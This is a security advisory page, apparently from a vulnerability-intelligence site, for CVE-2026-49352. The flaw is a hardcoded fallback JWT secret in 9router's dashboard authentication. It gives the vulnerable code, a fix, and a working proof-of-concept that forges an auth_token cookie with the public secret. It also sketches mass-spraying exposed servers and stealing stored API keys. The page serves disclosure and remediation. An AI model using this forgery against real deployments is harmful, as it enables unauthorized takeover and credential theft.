9router CVE-2026-49352
CRITICALSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Remote unauthenticated token forgery against the vulnerable default (JWT_SECRET unset) needs no privileges or interaction, and full dashboard/API control yields high C/I/A.
Primary rating from Vendor (https://github.com/decolua/9router).
CVSS VectorVendor: https://github.com/decolua/9router
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionCVE.org
Summary
9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server
Details
| Versions | File | Note |
|---|---|---|
>= 0.2.21, <= 0.4.30 | src/app/api/auth/login/route.js + src/middleware.js | Introduced in commit 23cfb19 |
>= 0.4.31, <= 0.4.41 | src/lib/auth/dashboardSession.js | Relocated by OIDC refactor c3d91b0, secret unchanged |
Vulnerable Code
v0.2.21 - v0.4.30 - src/app/api/auth/login/route.js and src/middleware.js:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);v0.4.31 - v0.4.41 (current) - src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.
PoC
Step 1. Craft a JWT signed with the known default secret:
import { SignJWT } from "jose";
const SECRET = new TextEncoder().encode("9router-default-secret-change-me");
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("36y")
.sign(SECRET);
console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6wStep 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass
Attack Scenario:
- Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET
- Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database
Impact
- A successful attack grants attacker full API Key, Auth Token that 9router hold
- They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
- Pivot via the MCP stdio→SSE bridge exposed at
/api/mcp/(exploit CVE-2026-46339)
Recommended Fix
Require JWT_SECRET at startup and fail fast rather than falling back silently:
const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
throw new Error(
"JWT_SECRET environment variable is not set. " +
"Generate one with: openssl rand -hex 32"
);
}
const SECRET = new TextEncoder().encode(jwtSecret);Alternatively, auto-generate a random secret on first boot and persist it to the data directory - but never fall back to a publicly known constant.
Articles & Coverage 1
AnalysisAI
Authentication bypass in 9router (>= 0.2.21 through 0.4.41) lets any unauthenticated remote attacker forge a valid dashboard session cookie because the JWT signing key falls back to the publicly committed hardcoded string "9router-default-secret-change-me" whenever the JWT_SECRET environment variable is unset. Since this secret is identical across every release and visible in the public repository, an attacker can pre-compute a valid auth_token, bypass the /dashboard login, and reach every API endpoint to steal stored API keys and auth tokens or take over the instance. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The single concrete prerequisite is that the target 9router server (version 0.2.21 through 0.4.41) runs WITHOUT the JWT_SECRET environment variable set, so dashboard JWTs are signed and verified with the hardcoded fallback "9router-default-secret-change-me"; the attacker crafts an HS256 JWT carrying the claim {authenticated:true} using that public secret and submits it as the auth_token cookie. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This is a genuine high-priority issue rather than an inflated CVSS number. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker mass-scans the internet for exposed 9router dashboards and, for each target, sets a pre-forged auth_token cookie signed with the public default secret before requesting /dashboard. Any server that did not set JWT_SECRET accepts the cookie and grants full authenticated access, after which the attacker queries /api/settings/database to exfiltrate stored API keys and auth tokens. … |
| Remediation | The immediate fix is to set a strong, unique JWT_SECRET environment variable on every 9router server (for example JWT_SECRET=$(openssl rand -hex 32)) so the hardcoded fallback is never used; this instantly invalidates any forged tokens and requires no code change. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory all 9router deployments and confirm versions; verify JWT_SECRET environment variable is set to a non-default value; implement network segmentation to restrict dashboard access to trusted networks only. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe
The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se
The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k
The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly
A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig
The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before
In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this
A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto
Same weakness CWE-798 – Use of Hard-coded Credentials
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-jphh-m39h-6gwx